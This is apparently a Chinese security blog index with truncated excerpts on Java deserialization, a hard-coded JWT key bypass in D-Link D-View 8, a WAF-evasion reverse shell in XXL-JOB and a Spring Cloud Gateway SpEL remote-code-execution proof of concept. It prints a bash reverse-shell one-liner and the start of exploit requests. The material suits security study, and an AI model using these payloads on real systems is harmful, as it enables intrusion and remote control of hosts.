Java反序列化Java序列化与反序列化依赖于两个函数writeObject()与readObject(),只要一个类实现了Serializable接口就可以使用这两个函数进行序列化与反序列化。Java反序列化漏洞原理类似PHP反序列化,PHP反序列化时会触发wakeup()函数,而Java中没有这种通用的函数,要实现类似wakeup()函数在反序列化时被触发的功能需要重写readObject()。Java反序列化漏洞需要触发一个被重写的readObject(),这个readObject()调用了一个其他类也有同名的函数,导致非预期的函数被执行。举个例子:原本的程序预期:从接口接到A类对象序列化的字节流调用A类的readObject()进行反序列化A类的readObject()中调用反序列化出来的A类对象中的一个B类对象的F方法完成反序列化传入恶意序列化字节流后:在A类对象中放置B类对象的位置嵌入一个恶意的C类对象,其中B与C有一个共同的F方法从接口接到A类对象序列化的字节流调用A类的readObject()进行反序列化A类的readObject()中调用反序列化出来的A类对象中的C类
原理由于JWT令牌的安全校验使用的是硬编码,导致攻击者可伪造合法的JWT令牌进行访问。危害由于默认情况下,初始管理员的 userId 是相同的,未授权攻击者可以利用 JWT 密钥配合该 userId 伪造令牌,从而访问受保护的API路由。分析Tenable的一名研究人员在D-Link D-View 8 v2.0.1.28中发现了一个身份验证绕过漏洞。D-View 8使用硬编码的密钥(D-Link)来保护用户身份验证中使用的JWT令牌:// webApi-0.0.1-SNAPSHOT.jar!com.dlink.dview8.webapi.utils.TokenUtils public static String verifyToken(String token) { if (Utils.isEmpty(token)) return null; Algorithm algorithm = Algorithm.HMAC256("D-Link"); JWTVerifier verifier = JWT.require(algor
起因最近在渗透测试的过程中遇到了一种特别的WAF。在XXL-JOB的分布式任务管理项目,功能中支持自定义的Java代码进行执行,但是这个代码执行功能有一个很恶心的WAF功能,他会删除<后面的所有东西,还会删除>前面的所有东西。问题众所周知,绝大部分的反弹shell的代码中是包含了<>这两个符号的。例如:bash -i >& /dev/tcp/192.168.0.1/4444 0>&1这也就导致了通过常规的反弹Shell语句变为不可能。这里就想到了两个思路来进行反弹Shell。编码对Payload进行编码,使用base64进行加密之后,在执行时对其进行解密,从而绕过WAF。public class shell { public static void main(String[] args) { Process p; try { final Base64.Decoder decoder = Base64.getDecoder(new String(decoder.decode
原理启用和暴露Gateway Actuator端点时,可用恶意的SpEL表达式被嵌入路由路径,在刷新路由时导致RCE。参考文章:https://blog.csdn.net/m0_61506558/article/details/126914956影响范围Spring Cloud Gateway < 3.1.1Spring Cloud Gateway < 3.1.7Spring Cloud Gateway 2.x危害远程攻击者可利用该漏洞可以发出恶意的请求,允许在远程主机上执行任意远程命令。POC & EXP手工# 1. 请求http://x.x.x.x:x/actuator,确认端口开启 # 2. 新建一个路由,注入恶意的SpELl表达式,返回状态码应为201 Created POST /actuator/gateway/routes/test HTTP/1.1 Host: x.x.x.x:x Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWe
Equinox
一个乐于分享的网安人